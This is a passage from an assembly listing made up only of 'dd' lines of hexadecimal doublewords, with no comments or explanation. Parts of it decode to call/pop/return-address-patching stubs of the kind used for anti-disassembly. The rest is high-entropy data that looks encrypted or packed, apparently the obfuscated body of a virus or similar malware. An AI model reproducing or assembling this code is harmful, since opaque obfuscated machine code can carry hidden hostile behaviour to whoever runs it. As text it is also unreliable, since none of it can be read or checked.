704Ah, 2BC6BF0Fh, 0C1B501FFh, 8B062B00h dd 0C1813A0Ch, 746D1EA4h, 1E318531h, 0F181062Bh, 1C6101A4h dd 81DABF0Fh, 0DBCA6FE9h, 90F08170h, 513C67C5h, 2FA58D89h dd 48F062Bh, 0C2B70F3Ah, 2B79B58Bh, 0EF83062Bh, 95895304h dd 62B2B1Dh, 68FF815Bh, 0FFFFF90h, 1585h, 20E9F900h, 5D000000h dd 76426778h, 4792F7D7h, 0B656270Bh, 0F1B3C7AAh, 0FFFF96E9h dd 3792C7FFh, 3870C3B1h, 8DB10229h, 3221208Dh, 219D8906h dd 89062B21h, 2B0EE18Dh, 398D0106h, 0C7062B01h, 2B21E185h dd 740406h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0C7F5717Dh, 2B2BE585h, 6, 14E900h dd 6AA0000h, 5DC1B3B2h, 0E919C6BDh, 741861DBh, 0F89A0361h dd 0B5FF7F5Ch, 62B18B9h, 9C6BE66h, 273195FFh, 6A062Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 9D87C5C3h, 201C93CBh, 1CDE2FAh, 2B3285BDh, 0FF006A06h dd 2B294595h, 0EBC08B06h, 39B3AA2Ch, 0C9BED8E1h, 0E925C1Dh dd 497B541Fh, 0BF840847h, 0B000DE4Ch, 41AB2746h, 9C3287D4h dd 5F4BB8C0h, 242BBAA3h, 59A29F55h, 358D8DE6h, 6A063222h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 1C50C350h, 9477204Fh, 9D01E24Ah, 62B2905h dd 0EE18D89h, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E999D4C3h, 0E960605Bh, 8, 5D8C5BE5h dd 0DEF3D29Ah, 0EE9h, 20B10200h, 0A116F1B9h, 7C00BAF6h dd 618206FAh, 3381BD29h, 0C761062Bh, 2B21E185h, 677406h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 85C75FB7h, 62B2BE5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ADC35545h dd 0FFF08B24h, 2B0A91B5h, 0FFBEB206h, 2B273195h, 6AF506h dd 294595FFh, 0C08B062Bh, 0D0E73DEBh, 0A130B393h, 973798C8h dd 1D2CE819h, 0E3CAD01h, 594A5561h, 0AFFAB7FEh, 84685A7Bh dd 0F21B4A1Fh, 0C49AB79Eh, 88C5858h, 0DFDAC3D3h, 560A58F6h dd 590111D3h, 8712B43Bh, 0E881B910h, 9, 6BC44B9Fh, 8030CCE7h dd 0B5858925h, 5F062B21h, 16859D8Bh, 0C781062Bh, 5DFFh dd 0B95958Bh, 0C933062Bh, 348B43B2h, 0D9BD890Fh, 81062B28h dd 3AEA9BF6h, 81FEB056h, 26240EEEh, 68C0F1Bh, 89000000h dd 2B1BC18Dh, 0C6EE8106h, 8B0F9065h, 2B11B995h, 8A525606h dd 48F5AF5h, 8099B00Fh, 0E98306D7h, 119D8B04h, 81062B19h dd 0FFA274F9h, 0AF850FFFh, 8DFFFFFFh, 3223BC8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B853A441h, 5619C481h, 0E18D8958h, 6A062B0Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 8597C356h, 85C7D8F2h, 62B21E1h, 68ECh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 61C35040h, 1BC1B589h dd 85C7062Bh, 62B2BE5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BC35040h dd 0DC04A963h, 0F3ED375h, 6651C1B7h, 41CAD881h, 0CDB5FF5Ah dd 66062B0Eh, 0FF9F69BFh, 2B273195h, 0FF006A06h, 2B294595h dd 0EBC08B06h, 0EF1F8F5Ah, 6E333FEFh, 8FE03DF1h, 54FDB0BDh dd 3C6DD081h, 0BC30F84Eh, 78557F12h, 761CC9AFh, 11934E39h dd 3D8EC241h, 3CA99A7h, 14B261F5h, 385E1235h, 0D4589097h dd 7B5AC48Ch, 378C7507h, 0C0DB027Bh, 698DE341h, 0FFC2D865h dd 0C84DB852h, 0A170A254h, 0BC99E188h, 0C62986A5h, 2B332D85h dd 0DF685606h, 0FFA9C530h, 2B1BDDB5h, 0EB858D06h, 0FF062E83h dd 0F18D8DD0h, 51062B2Ah, 0B5FF406Ah, 62B1CB9h, 17BDB5FFh dd 0D0FF062Bh, 1CB9B5FFh, 0B5FF062Bh, 62B17BDh, 0CE8h dd 12EF0C00h, 0BF357B60h, 0D3EA1D77h, 835E5EA5h, 2CC104EEh dd 24C10224h, 34030224h, 241CF724h, 0BFh, 3734FF00h, 0FBEA815Ah dd 81052C4Fh, 0A398D2F2h, 2AEA8117h, 89014045h, 0EF833E14h dd 243C3B04h, 16850Fh, 1FE90000h, 9000000h, 68BA8E89h dd 26DEFAE4h, 2E9D50BAh, 86F68523h, 0FFFFC0E9h, 0DE82EEFFh dd 39EB187Eh, 9D8D6969h, 62B18D5h, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 8DC98B18h, 3225868Dh, 7DB53106h dd 89062B1Bh, 2B0EE18Dh, 0DE906h, 99E60000h, 0CB925BBh dd 0A810F0E9h, 0C7EA3775h, 2B21E185h, 6B2C06h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 7939DBA1h, 0FE875D0h, 31000000h, 8A321DCFh, 8554FF7h dd 616FE882h, 0E3816DE4h, 261009F1h, 85C7F85Eh, 62B2BE5h dd 0 dd 840F49B3h, 4, 0D67BB66h, 165B5FFh, 0B70F062Bh, 61BD31DBh dd 0FF062B16h, 2B273195h, 0C1958B06h, 6A062B00h, 4595FF00h dd 8B062B29h, 0BE1EEBC0h, 0CBE80E25h, 7C4977Ch, 4B8361F4h dd 3A9CACB8h, 166DB210h, 0FE92EC35h, 2E4F8A3Ah, 0CCE9FDh dd 0D9250000h, 9CD70B09h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 4 dup(0) dd 3BE90000h, 68000015h, 632283Eh, 0F9592FE9h, 292E68FFh dd 25E90632h, 68FFF959h, 6322A16h, 0F9591BE9h, 2B9A68FFh dd 11E90632h, 68FFF959h, 6322C21h, 0F95907E9h, 2D0B68FFh dd 0FDE90632h, 68FFF958h, 6322DD9h, 0F958F3E9h, 2E7A68FFh dd 0E9E90632h, 68FFF958h, 6322F5Dh, 0F958DFE9h, 30D168FFh dd 0D5E90632h, 68FFF958h, 632318Ch, 0F958CBE9h, 32E668FFh dd 0C1E90632h, 68FFF958h, 63233D3h, 0F958B7E9h, 353668FFh dd 0ADE90632h, 68FFF958h, 6323684h, 0F958A3E9h, 386368FFh dd 99E90632h, 68FFF958h, 6323969h, 0F9588FE9h, 91B3A8FFh dd 6167FA15h, 30164AA5h, 0FCD89BF4h, 4973E700h, 0E471204Dh dd 334C4872h, 829D192Bh, 0D02FEBDDh, 0A07AB690h, 0E7F37D8Bh dd 828692D9h, 0E1C781AEh, 9BBDB70Ah, 929EEE1Fh, 0F25DF9CFh dd 0C6DE53E6h, 1E435E8Ah, 70B9C12Ah, 0F35EADADh, 11FADC94h dd 62F08009h, 286D3F3Eh, 5D093509h, 1776BDBh, 2Eh, 0D21F6FCDh dd 5B011685h, 0C19554C3h, 363B49C8h, 498AC686h, 48D6FAD1h dd 26D3E96h, 87E30FF3h, 3F776C2Fh, 0BFh, 0DEEE7510h, 0C781AB2Fh dd 8E0B76E1h, 6C14D46Eh, 0F4CA8EE9h, 0F3820B17h, 2B1D415Ch dd 81BB9FE2h, 889DD72Ah, 0EB94F27Ch, 7F9B8794h, 311751ACh dd 5CC4FBA6h, 4063D9A2h, 70B9549h, 0A294EB44h, 2C1047A2h dd 0EB2743DFh, 19F2D48Ch, 654DC2Ch, 0F453EF3Ch, 0E9715A7Ch dd 0EBF6024Dh, 8A8AC67Fh, 0A1111894h, 18F3D58Fh, 6F7DEA06h dd 730C7F4Eh, 0F3AE3921h, 3E59556Fh, 0C9C2618h, 0E35059ECh dd 12D81930h, 9EBF0000h, 4A116EAAh, 0FB61BE7Ah, 0B7AEC9C5h dd 64FA1591h, 645BA662h, 0A15D67FBh, 0F6321446h, 0FCC099h dd 4F4B6DE7h, 0D8527E8Dh, 0AD92D9E8h, 0D98193B7h, 94CC2BE7h dd 6F6276B2h, 7785D21Fh, 8AC6EA72h, 12BE0D0Dh, 6D3F2A84h dd 275337CEh, 776BC44Bh, 0ECF3h, 0E8295400h, 8D767AF8h dd 71A026E7h, 50161202h, 3BF2BE2Bh, 614A6CE4h, 1415BFEAh dd 384B1A6Dh, 8811D27h, 0F05F61F9h, 10FBCD95h, 0A39D2F3Dh dd 6EF094EBh, 8448DBD2h, 94EBB88Ch, 0B8325EEDh, 0CD94EB9Eh dd 3455C4Dh, 0D68EE925h, 362867F0h, 6AA3BF0Ch, 155AAA9Bh dd 0BB93BECAh, 9FC28AC6h, 0A96581BBh, 7EE050A0h, 0BFDB6744h dd 468A0410h, 44D3730Ch, 4C45B638h, 39035767h, 0F36F4CD2h dd 30247B3Ah, 2665F20Eh, 75920E30h, 0E1A9DBEDh, 0A2505A25h dd 11E8DE71h, 0AEAF0000h, 5A011E9Ah, 0B51AE6Ah, 0A79EF935h dd 74EA0581h, 742B5652h, 514D77EBh, 0E6222436h, 30ECD089h dd 7FBB9DD7h, 0C8628E9Dh, 0BD92D9E9h, 0D981A387h, 7CD41634h dd 0DCF5AFFFh, 290A75D0h, 0B87490BCh, 5771F0AFh, 0DC23EA74h dd 0D9464264h, 6BA2A4BAh, 22C7816Fh, 9EA00B3Dh, 1252A902h dd 206FF834h, 20064648h, 2978B16Dh, 63BE0D33h, 5CCBC7E1h dd 0E32A1A41h, 0DFBA9553h, 0D76B4064h, 98D525D6h, 0E9A4214Fh dd 0B7AB8AC6h, 0B6AEED78h, 0EA771990h, 0F765B0BEh, 0EFFD6A87h dd 888DDFC2h, 7722ADADh, 0B618A02Ah, 87B99C0Bh, 0FFE1A24h dd 0A17FCF7Ch, 35B348AFh, 25B2CE04h, 6266FB96h, 9838F189h dd 76C5E47Fh, 44438C92h, 0DEBD2A0Ch, 0DB67447Ah, 0A4E36CD2h dd 10089B3h, 61D36147h, 0CE4E1076h, 11004A1Dh, 0C6970000h dd 72E90682h, 23395652h, 0CF86E11Dh, 8CD22DE9h, 4C337EBAh dd 79B58FD3h, 8E0A3C1Eh, 0D8D4E871h, 67A385BFh, 0E08A96B5h dd 9592D9EAh, 0C781BB9Fh, 0C024C6D2h, 25994EBh, 0ACC86442h dd 0E6889423h, 9B94EBC0h, 0D8770687h, 1892BE4Dh, 6D94EBC0h dd 0C049E3EDh, 223C94EBh, 0E32A0245h, 62ED0272h, 0C6D9BB56h dd 6977DA8Ah, 6D3F39C7h, 0CEF267BAh, 939A16B2h, 7381CE23h dd 7312125Eh, 4E8269F1h, 674223A0h, 183E5DEAh, 0C811EAF5h dd 95311244h, 78E12836h, 9BC3DE84h, 0B58BCEA9h, 0D195574h dd 0D8B77140h, 0D6684385h, 0FFF17B89h, 9A846742h, 3A8613h dd 6F400000h, 685D21Fh, 95BC6D53h, 0C6925A87h, 64FA998Ah dd 38F18962h, 1F7AE575h, 1C8A063Ah, 6D3F718Ch, 0E90EFB7Dh dd 0A2A6BB65h, 85A6ECD5h, 0D52AD69h, 0F79D03Bh, 59000010h dd 85D21F6Fh, 0D35D6BF6h, 0A694EBC0h, 565F71B8h, 798ADDFAh dd 1A24C6D2h, 0C1596D26h, 0F0AF3AA5h, 2877546Eh, 35F41032h dd 504C6AEAh, 0B01B3D37h, 913E3383h, 1A74F602h, 11096D26h dd 6F6B7998h, 0E6731021h, 0A14FC9ABh, 0DC78A9A7h, 2D360473h dd 0E4B077Ch, 0B6E5709Fh, 9F8A29B8h, 0E7613E35h, 5554EAC1h dd 0A32C0A4Ah, 0D58B72E4h, 0E85657F3h, 18F3D58Fh, 0C2045635h dd 0A75851E9h, 0BFCD1A57h, 795DABF2h, 4FF77D1Dh, 0E8569178h dd 0F7C103Bh, 421B0000h, 0F66D8A06h, 0A7BDDAD6h, 4B0A65A1h dd 56B16Dh, 0C0B7C23Eh, 0FD390357h, 128EB8A2h, 5C586CF5h dd 0EB270143h, 7C0E1A31h, 1192D9EBh, 62F03F13h, 6394EBC0h dd 3D0A2C24h, 847F8003h, 0EF0089A0h, 7605529Fh, 2533441Bh dd 94EB9C8Bh, 0C5C460FEh, 0DDA677CBh, 10538E8Ah, 504F9834h dd 9DFA3610h, 232EFDDBh, 0DDCCF664h, 4897DC2Ch, 8EFDD3Ch dd 0B4ADF073h, 9C380C53h, 7C56F200h, 4E9D505Eh, 0EF507h dd 89BBA000h, 596FF20Dh, 281E425Dh, 0F4D093ECh, 417BDF38h dd 0DC793845h, 2B44407Ah, 7A951133h, 0C827E3E5h, 0A872AE88h dd 0ECFB7583h, 8A8E92D9h, 0AF0271B6h, 5713CD0Ch, 0EB85933Ch dd 9E94EBCEh, 7EF60980h, 54600F58h, 94EBCEDAh, 0A11A2E33h dd 0CECC7E8Ah, 998194EBh, 0A2F98C7Dh, 3C5B84A2h, 4B7DE104h dd 6942DE60h, 2C45D8D1h, 0E783AF93h, 9F7D96EBh, 915h, 11F6F3Bh dd 0DA745136h, 70DF7B3Bh, 1E794F15h, 8B860739h, 0DDDDB67Dh dd 0C096C58Ah, 0C823253Dh, 0A9B11AB6h, 54B789CEh, 6221AECAh dd 0EC9BC4E2h, 77BD79C7h, 0D187E01Ah, 27403EEFh, 31DC0B2Dh dd 25168923h, 0AB62FC6Dh, 0FB0675D8h, 2F075142h, 0D17F1198h dd 0CE6D25E6h, 0DAE6717Eh, 7308FF3Fh, 71530B56h, 0DA68849Ah dd 505E8C78h, 0B1138EBh, 8A00000Eh, 0DC3BF7D1h, 2C4B4779h dd 7D9A1628h, 0C926E2FAh, 673AF91h, 0AE90C653h, 7F491572h dd 0C9F36483h, 94B2B2CDh, 9FAD4218h, 92D9EDEDh, 81CCE460h dd 0B70AE1C7h, 37309BBDh, 0E28CBA8Eh, 9A7D96DDh, 85Dh dd 0BB8DD0CFh, 0BBDFCE50h, 0AB4E1271h, 4B6FA4DFh, 2BB4D06Eh dd 0EB56931Dh, 0B178E694h, 0EB56711Fh, 0D11E6E94h, 43EDFB86h dd 0BA94EB56h, 0EE031429h, 8A946742h, 4BE00C03h, 68ADD80h dd 9520CF18h, 2594E587h, 0A986986Dh, 233F8CB0h, 0FBDD97EAh dd 7785103Fh, 6D2594F5h, 807B5D14h, 50106F9Eh, 94B53745h dd 65C86D25h, 2594D557h, 1AB6A86Dh, 0D0202DFEh, 0E92834A3h dd 0E473088Dh, 5E74C87Ah, 4093505Eh, 0D3D09h, 0C1035800h dd 91B7AAC5h, 6066FA15h, 2C084BA4h, 0F9C397F0h, 9401F03Dh dd 0E33CF8C2h, 324D497Bh, 809F1B2Dh, 702AE6C0h, 0ED23CDDBh dd 0D25692D9h, 0E1C781FEh, 1748470Ah, 0A3A5FC2Dh, 0A6012685h dd 0B54BCDFBh, 15940CFBh, 80EA18ECh, 5E7D9724h, 0C02B1D43h dd 7ABA4FBEh, 24000007h, 85D21F6Fh, 0DDFACD77h, 51FE608Ah dd 0B976FB22h, 266E01ABh, 9DEA746Dh, 0C8C11D58h, 2C0A4A49h dd 0FBDD97F0h, 992EBC10h, 0C1316D26h, 0F41523ACh, 1B730B80h dd 5CAF91C4h, 0D21CA6C2h, 0DD505F57h, 0C9C470Eh dd 62FB0000h, 164DAA66h, 0C79DFA36h, 6BEA0581h, 2036514Dh dd 0A097E21Eh, 9D192337h, 32EED882h, 7CB88CD5h, 8B072123h dd 9C2E3AD1h, 0F192D9EEh, 0C7815F73h, 0BDB70AE1h, 0EBC00258h dd 10FBDD94h, 7556F20Eh, 2F3D3026h, 94EBC09Dh, 0F9D26EF0h dd 0C0A44652h, 41D994EBh, 63486EE6h, 3AAD91AAh, 1C4A3E87h dd 7D96DD52h, 0A59D0570h, 0F5045CFDh, 6BF6734h, 71630000h dd 0B37A4C12h, 0EBC0901Dh, 490C8B94h, 0ABB99477h, 94EBC001h dd 5F4EEA74h, 0C6115EAEh, 0DDFA27BAh, 77E07E8Ah, 827E5818h dd 0E6C5E365h, 3EB0DC6Bh, 3F6D261Ah, 261A9F11h, 8F6CF26Dh dd 99E91A93h, 0D17C0B54h, 261A29C3h, 97115C6Dh, 0DB75BB15h dd 850B821Eh, 730B51D8h, 3C21206Fh, 978F0E3Fh, 4987C97Bh dd 6FBC505Fh, 0BB9E4h, 457FDC00h, 152B2E49h, 0E4DA7E99h dd 0B094CF28h, 7D471B74h, 18857481h, 67807C46h, 0B6D1CDF7h dd 4639FA1h, 0ECAE6A4Ch, 0EFBF315Fh, 56D292D9h, 4F127172h dd 261E79h, 0D8FE7689h, 92B4ACF3h, 2463EE39h, 0B696CD30h dd 0F46AB11Ah, 0CE77B6D2h, 9ABCB4FAh, 0D9ED791Eh, 5D917D96h dd 0B6000001h, 494084DBh, 0E1C7814Dh, 7C581B76h, 3453FE8Dh dd 92ED1C26h, 3138F4D2h, 1523ACC1h, 8AC6DE8Ch, 7A4C108Fh dd 9D008991h, 203752FDh, 0B21EED1Ch, 6D3F3E24h, 9FC2C16Eh dd 3EFC8E9Ah, 89916D3Fh, 0BF83BC6Dh, 0A5A66C1Bh, 9974B45Ch dd 0E9FD6910h, 55A1776Ah, 2D000000h, 85D21F6Fh, 0D35D6BF6h dd 0CA94EBC0h, 0EBC00CBEh, 0E2D94194h, 0EE038D7Ch, 618AC6EAh dd 290CBECAh, 0D9416D3Fh, 0B4E36EBDh, 0FA75853Fh, 2EA26B51h dd 6D3F4B80h, 2B572BCAh, 776B653Fh, 0B5E7h, 0CFDD6800h dd 6D3F473Dh, 479E103Ch, 6FF36D3Fh, 7F1B928Ch, 3F22C781h dd 9CA209h, 380254ABh, 0C3D17CD3h, 94EBC029h, 0B4CBC25Ch dd 1A319ABCh, 8E3C57Fh, 0C0B53745h, 56C894EBh, 0B4ACF33Ah dd 0F0881692h, 0E194EBF4h, 188BEA2h, 0A46046FEh, 0CF1855A5h dd 0CFF96520h, 0D746B2DEh, 0F36F7526h, 0F312964h, 2C47D5C0h dd 7739DE03h, 0ABAFC8B6h, 0A1F76391h, 0BD84A2Fh, 0A4540h dd 390B5000h, 89BFA2FDh, 586EF20Dh, 2400435Ch, 0F1CB8FE8h dd 8C09C835h, 0DB34F0CAh, 2A454183h, 78971335h, 7822DEF8h dd 0F02BC5D3h, 0DA5E92D9h, 0E7D98106h, 0B294CC2Bh, 0C7816276h dd 0BDB70AE1h, 96F41F9Bh, 0E2000004h, 85D21F6Fh, 0C68E4677h dd 0AA01198Ah, 3F0E9826h, 5F23D26Dh, 6BA83733h, 20EEF77h dd 71EB0000h, 0C054D6E2h, 312994EBh, 0C053D8F8h, 574294EBh dd 53A99F99h, 0EF73CCBAh, 0A168F6D5h, 0A43340B0h, 0DD3C0B98h dd 6FF8668Ah, 17253030h, 6D256095h, 0DEDA76E8h, 4AA187C1h dd 1B44A919h, 25E4DE7Ch, 605F1E2Ah, 68F67308h, 5E0CAADAh dd 0E36AB950h, 98Ah, 0B874500Dh, 0C8C4F85Fh, 1B97A9AFh dd 0A76345FCh, 0F02C1648h, 1149D285h, 0C694F32Fh, 72E700FCh dd 3335524Eh, 2CC39915h, 0D9F16E00h, 4D65E392h, 0AE1C781h dd 0F848BDB7h, 9442D681h, 8510BFDBh, 0EB6CF577h, 17968894h dd 3C003584h, 0DCD8FE76h, 9785AFBBh, 15E577Dh, 81730000h dd 0B70AE1C7h, 0F01F9BBDh, 9DFAD295h, 160786C6h, 0EDCB8AA6h dd 7BE4001Eh, 0C6DED46Dh, 54B7AB8Ah, 86C09AF9h, 0FC941525h dd 6D3F3E6Eh, 0FD291D24h, 776BDB71h, 4915h, 1F6FB100h dd 8BF685D2h, 1296E8B8h, 0AE22EB4Dh, 8AC66B9Bh, 6CFB64FAh dd 3EAAAE40h, 0E0BFA36Dh, 0D5654660h, 0FD8B41D4h, 0B76D3EAAh dd 6064FD98h, 0D36F78Bh, 43610D39h, 0D205776Ch, 4A000000h dd 0D437094Fh, 52EECE89h, 0C7813F5Bh, 431B76E1h, 0A6F58801h dd 42418EB0h, 0BEC02B1Dh, 0E761BC4Fh, 2867EAC1h, 86991032h dd 23CDDBCEh, 5694EBC0h, 9423ACC8h, 0EBC0E688h, 6879B94h dd 0ADBA4E58h, 0C8B794EBh, 0F9B713D9h, 0A1BD9A4Eh, 0F33A44A7h dd 1692B4ACh, 1D4AA717h, 0F6AEDC6Eh, 60A91988h, 0EB57C3D1h dd 337E7526h, 4D663228h, 0C59BF4DDh, 9DF86783h, 0E80783C5h dd 0D0264C76h, 8B4A2F03h, 830F158h, 0F6670000h, 0A2B9D6D2h dd 530966A2h, 1F56B16Dh, 0BCA2FD39h, 3CE30E8Ah, 985BFA3h dd 5E5A6CEEh, 0E8241841h, 37F3D58Fh, 30BAC665h, 4592D9F2h dd 0D981EBCFh, 5EED78E7h, 0EBC0B832h, 834DCD94h, 94EBC0E9h dd 570B829Ch, 0E21E3838h, 0E1C781FEh, 9BBDB70Ah, 3709514Ch dd 6A1B08F6h, 0FF000002h, 85D21F6Fh, 0DDFA0277h, 0EE3D5D8Ah dd 261A54E2h, 23E71E6Dh, 64B37BF7h, 2362377h, 0F0AF0000h dd 94EBC07Bh, 3251F7Ah, 0C429998Ah, 7812EC9Bh, 0EE509030h dd 2468FE52h, 34F5118Eh, 0CDB20F1Dh, 0D2B18ADDh, 0CE50BB8Dh dd 5D015CDFh, 62FE806Bh, 0F8DE96F5h, 0FD74133Ch, 3CB96CDBh dd 0A21A5197h, 7A5C146Bh, 2DCFBA91h, 0D092E502h, 0A9190A83h dd 500D1B44h, 8B7308C5h, 0C45ED0FCh, 2F336748h, 91233FFEh dd 505EA787h, 4394BF6Ch, 52000007h, 0A4C33F09h, 0F4138FB1h dd 45A25E60h, 91EE2A02h, 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah dd 112B2C4Bh, 0DCFA7A95h, 0C7D57A20h, 92D9F325h, 8104DC58h dd 0B70AE1C7h, 0A9D848BDh, 6502FCB6h, 0BC93E2C9h, 0F94666E1h dd 0BD3EBD54h, 0BCA564DFh, 8762E2C8h, 7F03E8CCh, 0B6B027E3h dd 147D9774h, 2BE2E279h, 15F5Eh, 0C7817800h, 0C024C6D2h dd 0C15994EBh, 8C0B46A5h, 0EB36F7C9h, 85004F69h, 7D1DEEDEh dd 0E757D68Ch, 0D3CE5D8Ah, 0BDA1698Eh, 9EA3FDA9h, 1891A902h dd 0C686E178h, 8391BC8Ah, 6D3E96E9h, 8566829Ch, 3E96B947h dd 7E42F36Dh, 6C341650h, 45CE77h, 4830000h, 1AA06953h dd 794F1271h, 0C22F9FB0h, 0EA628795h, 7D1D8AC6h, 2A9422AEh dd 31DE6D3Fh, 2A1496A2h, 22696D3Fh, 0BBBBF4A1h, 0CD3C5860h dd 0CFCA7054h, 0C555B68Ah, 0D8D1F76Ah, 6B6DB5B1h, 0AB6977h dd 81750000h, 470AE1C7h, 0C002ACB8h, 74EB94EBh, 36F76B50h dd 0CA8E77EBh, 0DC7358F4h, 0F07798C1h, 40ADEF8h, 0EB36F713h dd 85004F69h, 7806E5C3h, 0A59FE2B1h, 21990783h, 0E094ECF9h dd 0C34A4660h, 42D17E73h, 0DF2C1047h, 4C76E443h, 0A62AE37Fh dd 8AD9467Ah, 3D58879Bh, 88E72325h, 4446ECD6h, 0D74A2F23h dd 5E04D04h, 0A6B70000h, 520966A2h, 359B672h, 0AFA6C13Dh dd 6CF20D89h, 6C535E5Ah, 59556FF3h, 0EE2A1C3Eh, 38F4C891h dd 474365DFh, 0C06A7695h, 0B592D9F5h, 0D9819BBFh, 913C2BE7h dd 0EBC0E983h, 0B829C94h, 5E5A7CF4h, 0E1C7813Ah, 7C581B76h dd 830A3E23h, 8DABADF0h, 0E9B0611h, 0DC2F3492h, 163CD7D6h dd 1A000000h, 0AE1C781h, 309BBDB7h, 0C8DEA25Bh, 0E172AE88h dd 33h, 0E1C781D1h, 7C581B76h, 8B1A93AFh, 0EBC0B445h, 0B488C194h dd 7C30830Eh, 0F75C664Eh, 8C69EB36h, 0A14F7C9h, 9636AC3Dh dd 0F30F5FEEh, 0F56D2837h, 71BCDAD3h, 907B4D12h, 0CA4CA18Eh dd 0E0CA7106h, 7B9ED629h, 6A41DDE7h, 495789F9h, 94EBC5A7h dd 0BF2844DAh, 69777EE0h, 94EBC5C7h, 0A308A4BAh, 0F4BB1E4Ch dd 9531F20Ch, 336EFD14h, 0E090192Bh, 8ADDF7B5h, 7A1946D8h dd 0C720DCFAh, 1340AB8Dh, 72014EA3h, 0DEA85D17h, 8D476448h dd 454B42DEh, 73108C05h, 95172508h, 0E8677092h, 0FE8DDA76h dd 310D59B3h, 0BA7348EAh, 0CFCBED67h, 97A5B0B0h, 6770F815h dd 715AF668h, 0D07F74C4h, 5DDCD5C4h, 74E99479h, 6CA17E04h dd 64FAB970h dd 9147D6DEh, 0CF865556h, 492h, 0B06C5805h, 0C03C0057h dd 138FB1A7h, 5F5B7DF4h, 0E8241E40h, 1941DA9Dh, 0CE8CEB27h dd 7ADF38F4h, 2B2D4A46h, 24CB910Dh, 0D9F69618h, 556DEB92h dd 25E1C781h, 5FAC8ACAh, 85664000h, 693D013Ah, 0CACDC9EFh dd 7D96D9A0h, 5D44h, 0CA8E0D00h, 6F9135F4h, 7785D21Fh dd 8AC6924Ah, 5CEEFA89h, 316D3F71h, 510493FAh, 0B2CE565Dh dd 6CBF89D5h, 0C658DBD2h, 5065FA99h, 3FEFAA44h, 2743DF6Dh dd 4084DDB8h, 7F0B9549h, 8A6D3FEFh, 0D730ECCAh, 0FE6DBE82h dd 2685BFA3h, 0F37A9118h, 0D7000003h, 0EFB23C48h, 5BC76D3Fh dd 0C7813452h, 0BDB70AE1h, 93A14C9Bh, 94EBC019h, 473BF26Ch dd 0A0BA76C6h, 5A3545A6h, 38A7C305h, 0C6DE952Ch, 9576E88Ah dd 3F3EA937h, 0C305586Dh, 0FAD295E8h, 0C47D11h, 0B88CB569h dd 6BDBE08Ah, 518477h, 6F460000h, 7785D21Fh, 8AC6EA72h dd 12BE0D0Dh, 6D3F2A84h, 0DDEEE75h, 0F51277BEh, 84E3E752h dd 1202E9D3h, 4C5017EBh, 9E2DD1B5h, 3FDEF872h, 92BE8D6Dh dd 6D3FDE18h, 5851ED6Dh, 6AF83531h, 7CF49377h, 2883C599h dd 911FA16h, 0DA0B80h, 81D70000h, 0B70AE1C7h, 434E99A3h dd 0BE00624Ah, 0C75657B5h, 0DDEF878h, 4790B6AEh, 0DD2E0848h dd 8964CBDh, 94EB1200h, 0A6B2A7A1h, 94EB0404h, 4945E179h dd 8B2533DEh, 6294EB04h, 0BBF6C5E3h, 20BCFAC6h, 0E651ED40h dd 0BAEE2FE4h, 374A43CFh, 9DB01B3Dh, 0A86147FEh, 0D3F947B7h dd 24B2BF06h, 0A9203CB0h, 772EE6DEh, 59608CDBh, 348AC69Ah dd 365272E9h, 0EE0373FAh, 0E2A15361h, 99C4730Dh, 122CFFC1h dd 342A69F6h, 2A36C512h, 674CE280h, 0FEA465F5h, 7D87B9A1h dd 505A8941h, 0B31639EAh, 0E2000002h, 34534F79h, 84E31F21h dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D9F8B5h, 81744CC8h dd 0CC2BE7D9h, 6276B294h, 85D21F6Fh, 0C6EA7277h, 0BE0D0D8Ah dd 3F2A8412h, 5337CE6Dh, 7AF400AFh, 0F6D3F2Ah, 73FF9A13h dd 2B776BC3h, 107h, 80271B7h, 0E3E742A4h, 0E868B776h, 5F0281CEh dd 0DFC8269h, 53F237Eh, 0A385BFDAh, 24F73648h, 0EB0660A8h dd 5662F194h, 94EB18D4h, 86B162A9h, 0C2CF394Bh, 581867A6h dd 478D3F4Dh, 5EC094EBh, 31631911h, 8B271096h, 5670F00Fh dd 7B78C875h, 0B93341ECh, 0CC94EB08h, 0A8B45B52h, 8AC64491h dd 0B7B672ECh, 0D563F947h, 0D15A4C2Fh, 0AA7F2AB5h, 7850A881h dd 2735DCCDh, 730C601Eh, 4F413A71h, 0C77C770Bh, 0F410AC90h dd 102A2C6Bh, 9C99D8C7h, 36C14DD7h, 6AEC0BF7h, 29FE2250h dd 8655505Ah, 1ADCFh, 5173E800h, 21273A55h, 0F0D68AE5h dd 0BC98DB34h, 9332740h, 24B1608Dh, 738C0832h, 0C2DDD9EBh dd 106FAB9Dh, 